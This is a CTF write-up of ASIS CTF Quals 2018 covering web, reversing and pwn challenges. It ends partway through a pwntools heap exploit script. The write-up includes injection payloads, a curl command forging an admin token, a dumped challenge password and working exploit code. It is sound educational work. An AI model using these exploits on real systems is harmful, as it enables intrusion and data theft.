Rating: 5.0
# ASIS CTF Quals 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.**
- [ASIS CTF Quals 2018](#asis-ctf-quals-2018)
- [Web](#web)
- [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin)
- [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107)
- [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin)
- [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin)
- [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera)
- [Gameshop (unsolved)](#gameshop-unsolved)
- [rev](#rev)
- [Warm up (sces60107)](#warm-up-sces60107)
- [baby C (sces60107)](#baby-c-sces60107)
- [Echo (sces60107)](#echo-sces60107)
- [Left or Right? (sces60107)](#left-or-right-sces60107)
- [Density (sces60107)](#density-sces60107)
- [pwn](#pwn)
- [Cat (kevin47)](#cat-kevin47)
- [Just_sort (kevin47)](#just_sort-kevin47)
- [message_me (kevin47)](#message_me-kevin47)
- [Tinypwn (kevin47)](#tinypwn-kevin47)
- [PPC](#ppc)
- [Neighbour (lwc)](#neighbour-lwc)
- [The most Boring (how2hack)](#the-most-boring-how2hack)
- [Shapiro (shw)](#shapiro-shw)
- [misc](#misc)
- [Plastic (sces60107)](#plastic-sces60107)
- [forensic](#forensic)
- [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin)
- [first step](#first-step)
- [second step](#second-step)
- [third step](#third-step)
- [Tokyo (sces60107)](#tokyo-sces60107)
- [crypto](#crypto)
- [the_early_school (shw)](#the_early_school-shw)
- [Iran (shw and sasdf)](#iran-shw-and-sasdf)
- [First-half](#first-half)
## Web
### Nice code (unsolved, written by bookgin)
The challenge is related to PHP code review.
The page will show the error message. All we have to do is bypass the error :)
```
# substr($URL, -10) !== '/index.php'
http://167.99.36.112:8080/admin/index.php
# $URL == '/admin/index.php'
http://167.99.36.112:8080/admin/index.php/index.php
```
Next, we are redirected to http://167.99.36.112:8080/another/index.php?source .
```php
$_v){
if($_k_o == $k_Jk){
$f = 1;
}
if($f && strlen($__dgi)>17 && $_p == 3){
$k_Jk($_v,$_k_o); //my shell :)
}
$_p++;
}
}else{
echo "noob!";
}
```
Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`.
However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow!
The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE.
Postscript:
1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.
2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.
3. If the condition is impossible to bypass, just dig into the bug databse/source code.
4. The challenge is solved by more than 20 teams, so it must be simple to find a solution.
I've learned a lot. Thanks to this challenge and PHP!
### Bug Flag (bookgin, sces60107)
Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask.
```python
from flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
flags = {
'fake1': {
'price': 125,
'coupons': ['fL@__g'],
'data': 'fake1{this_is_a_fake_flag}'
},
'fake2': {
'price': 290,
'coupons': ['fL@__g'],
'data': 'fake2{this_is_a_fake_flag}'
},
'asis': {
'price': 110,
'coupons': [],
'data': open('private/flag.txt').read()
}
}
@app.route('/')
def main():
if session.get('credit') == None:
session['credit'] = 0
session['coupons'] = []
return render_template('index.html', credit = session['credit'])
#return 'Hello World!
Your Credit is {}
Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')
def resouce():
image_name = request.args.get('name')
if '/' in image_name or '..' in image_name or 'private' in image_name:
return 'Access Denied'
return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])
def pay():
data = request.get_json()
card = data['card']
coupon = data['coupon']
if coupon.replace('=','') in session.get('coupons'):
return jsonify({'result': 'the coupon is already used'})
for flag in card:
if flag['count'] <= 0:
return jsonify({'result':'item count must be greater than zero'})
discount = 0
for flag in card:
if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
discount += flag['count'] * flags[flag['name']]['price']
credit = session.get('credit') + discount
for flag in card:
credit -= flag['count'] * flags[flag['name']]['price']
if credit < 0:
result = {'result': 'your credit not enough'}
else:
result = {'result': 'pay success'}
result_data = []
for flag in card:
result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
result['data'] = result_data
session['credit'] = credit
session['coupons'].append(coupon.replace('=',''))
return jsonify(result)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
```
The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session.
Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works.
Let's test Python floating-point precision.
```python
Python 2.7.14 (default, Jan 5 2018, 10:41:29)
[GCC 7.2.1 20171224] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 290
1.4210854715202004e-14
```
Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`.
Payload:
```
{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}
```
Flag: `ASIS{th1@n_3xpens1ve_Fl@G}`
You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893).
### Good WAF (solved by ysc, written by bookgin)
The challenge requires us to bypass the WAF on SQL injection.
**Unintended solution:**
When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all.
Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}`
Never fix anything on the production server directly :)
### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)
Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages:
- admin_area
- get/title/1
- get/text/1
- get/image/1
The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.`
Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB.
Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard.
Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`:
```
{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}
{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"}
{"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}
```
Great! The payload:
```sh
curl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut
-f1 -d' '`"
```
Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}`
Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this.
Next time, I'll carefully inspect every payload and HTTP status code/headers.
### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)
The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`.
The source HTML of `error/1`.
```html
<html>
<head>
<script src='/jquery-3.3.1.min.js'></script>
<link href='style.css' rel='stylesheet'>
</head>
<body>
<div class="accordion">
<dl>
<dt class="active">
<script>var user = '1';</script>Invalid credentials were given.
```
If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons.
It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither.
What if it's not a XSS challenge? I don't think so because:
1. I note that the jQuery is loaded in the error page, but it's not used.
2. There is a XSS filter.
The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all.
This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully.
It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability.
SQLmap will dump the database. The DB is SQlite.
Thanks to @herrera in IRC channel:
> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php
Postscript:
1. Sharp eyes: HTTP status code
2. Some misleading part might be the second stage of the challenge.
3. It a number of teams solve this challenge, it must be not difficult.
### Gameshop (unsolved)
Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution).
Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` .
However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge.
There is a long road to go on solving web challnges:)
## rev
### Warm up (sces60107)
This is a warm up challenge. They give you a C file like this.
```C
#define M 37
#define q (2+M/M)
#define v (q/q)
#define ef ((v+q)/2)
#define f (q-v-ef)
#define k (8-ef)
struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}
```
You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.
It look likes you need to beautify this code. You can count on online tools, but I do this with myself.
And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood.
The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}`
### baby C (sces60107)
This challenge give you a obfuscated binary.
It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator).
It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former.
But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary.
```
...
.text:08049557 mov eax, off_83F6170[edx*4]
.text:0804955E mov edx, dword_81F6110
.text:08049564 mov [eax], edx
.text:08049566 mov esp, off_83F6130
.text:0804956C mov dword_85F61C4, offset strncmp_plt
.text:08049576 mov eax, dword_83F6158
.text:0804957B mov eax, off_85F61C8[eax*4]
.text:08049582 mov eax, [eax]
...
```
I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)`
Well, the hint tell us `flag is ASIS{sha1(input[:14])}`
Now we just need the first three byte.
The next step needs patience. you have to trace down the code manually.
Then you can find this
```
...
.text:080498C8 mov dl, byte ptr dword_804D050
.text:080498CE mov edx, dword_81F5B70[edx*4]
.text:080498D5 mov dword_804D05C, edx
.text:080498DB mov dword_804D058, 'A'
.text:080498E5 mov eax, dword_804D05C
.text:080498EA mov edx, dword_804D058
.text:080498F0 mov ecx, 8804B21Ch
...
```
If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge.
Now we know it is try to compare the first byte of input to `A`
The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte.
```
...
.text:08049BED mov edx, 0
.text:08049BF2 mov dl, byte ptr dword_804D050
.text:08049BF8 mov edx, dword_81F5B70[edx*4]
.text:08049BFF mov dword_804D05C, edx
.text:08049C05 mov dword_804D058, 'h'
.text:08049C0F mov eax, dword_804D05C
.text:08049C14 mov edx, dword_804D058
.text:08049C1A mov ecx, 8804B21Ch
...
.text:08049F17 mov edx, 0
.text:08049F1C mov dl, byte ptr dword_804D050
.text:08049F22 mov edx, dword_81F5B70[edx*4]
.text:08049F29 mov dword_804D05C, edx
.text:08049F2F mov dword_804D058, '_'
.text:08049F39 mov eax, dword_804D05C
.text:08049F3E mov edx, dword_804D058
.text:08049F44 mov ecx, 8804B21Ch
...
```
Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`.
So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`
### Echo (sces60107)
You will be given a binary in this challenge. Just try to execute it.
```
$ ./Echo
Missing argument
$ ./Echo blabla
Error opening blabla!
```
Well, you only get some error message. After using some decompile tool I found this.
```
if ( v9 <= 1 )
{
fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr);
exit(1);
}
if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) )
{
v46 = (signed int)sub_970(v49);
}
```
It seems like you should put `GIVEMEFLAG` in the first argument.
```
./Echo GIVEMEFLAG
a
a
wtf
wtf
thisisuseless
thisisuseless
```
Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value.
Then I found this function return a string array
`>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]`
Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen.
before that there a bunch of `[+]>` . It will clean the buffer.
The goal is clear now. we need to what does it put on the buffer before it remove them.
We can rewrite the brainfuck string to fulfill our requirements
The new brainfuck string will be
`>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]`
Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}`
According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}`
The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`
### Left or Right? (sces60107)
Just try to execute the given binary.
```
$ ./right_or_left
What's The Secret Key?
I dont know
invalid key:( try again
```
So it seems like we need a secret key?
Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary.
I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun`
I try to input those strings
```
$ ./right_or_left
What's The Secret Key?
therustlanguageisfun
ASIS{that_is_not_the_real_flag}
$ ./right_or_left
What's The Secret Key?
superkey
ASIS{be_noughty_step_closer_to_see_the_flag}
$ ./right_or_left
What's The Secret Key?
mysecretkey
ASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}
```
It seems like they are all fake flag.
Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag.
Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position.
Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen
Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}
`
There is another way to capture the flag. In this way, you should find out the real secret key.
Practically, you need to locate the key-checking function.
Track those fake key. you will find out the key-checking function. It is located at `sub_83c0`
Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`
### Density (sces60107)
In this challenge you will get a binary and a encrypted flag.
This chllenge is not difficult at all. The binary name is "b64pack".
You can just try base64
```
$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191
O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM
+vb++fD9W+q/Cg==
```
There is string while looks like flag
`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM
+vb++fD9W+q/Cg==`
We still need to reverse the binary. You can divide this binary into three part.
The first part:
`input=randomstr+input+flag`
The second part:
```python
newinput=""
for i in input:
if i in "@$_!\"#%&'()*+,-./:;<=>?\n":
newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i))
elif i in "[\\]^{|}~`\t":
newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i))
else:
newinput+=i
```
The third part:
```
output=newinput.decode("base64")
```
Now you know how to reconstruct the flag.
The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`
## pwn
### Cat (kevin47)
* I am a idiot that can't think, so I used the most hardcore way :)
* Use name and kind to leak heap, libc, stack, canary
* fastbin dup attack to stack twice in order to overwrite return address
```python
#!/usr/bin/env python2
from pwn import *
from IPython import embed
import re
context.arch = 'amd64'
r = remote('178.62.40.102', 6000)
def create(name, kind, age, nonl=0, stack=''):
if name == '':
r.recvrepeat(1)
if stack:
r.send(stack)
else:
r.send('0001')
if name == '':
r.sendlineafter('>', '')
r.sendlineafter('>', '')
else:
r.send(name.ljust(0x16, '\x00'))
r.send(kind.ljust(0x16, '\x00'))
r.send(str(age).rjust(4, '0'))
def edit(idx, name, kind, age, modify, sp=1):
r.send('0002')
r.send(str(idx).rjust(4, '0'))
if sp:
r.recvrepeat(1)
r.sendline(name)
r.sendlineafter('>', kind)
else:
r.send(name.ljust(0x16, '\x00'))
r.send(kind.ljust(0x16, '\x00'))
r.send(str(age).rjust(4, '0'))
r.send(modify.ljust(4, '\x00'))
def print_one(idx):
r.recvrepeat(2)
r.send('0003')
r.sendlineafter('>', str(idx))
return r.recvuntil('---', drop=True)
def delete(idx):
r.send('0005')
r.send(str(idx).rjust(4, '0'))
create('a'*0x10, 'a'*0x10, 1)
create('a'*0x10, 'a'*0x10, 1)
#create('a'*0x10, 'a'*0x10, 1)
create(flat(0, 0x21), flat(0, 0x21), 1)
create('a'*0x10, 'a'*0x10, 1)
create('a'*0x10, 'a'*0x10, 1)
create('a'*0x10, 'a'*0x10, 1)
delete(4)
delete(5)
# set ptr
edit(0, 'b', 'b', 2, 'n')
create('', '', 1)
edit(0, 'b', 'b', 2, 'n', sp=1)
x = print_one(4)
xx = re.findall('kind: (.*)\nold', x)[0]
heap = u64(xx.ljust(8, '\x00')) - 0x180
print 'heap:', hex(heap)
create('a', flat(heap+0x10, heap+0x70), 1)
edit(0, 'b', 'b', 2, 'n')
create(flat(0x602010), 'a', 1)
x = print_one(0)
xx = re.findall('name: (.*)\nkind', x)[0]
#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870
libc = u64(xx.ljust(8, '\x00')) - 0x3e1870
print 'libc:', hex(libc)
delete(6)
#environ = libc + 0x38bf98
environ = libc + 0x3c6f38
create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)
x = print_one(0)
xx = re.findall('name: (.*)\nkind', x)[0]
stack = u64(xx.ljust(8, '\x00'))
print 'stack', hex(stack)
delete(6)
canary_addr = stack - 0x100 + 1
create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)
x = print_one(0)
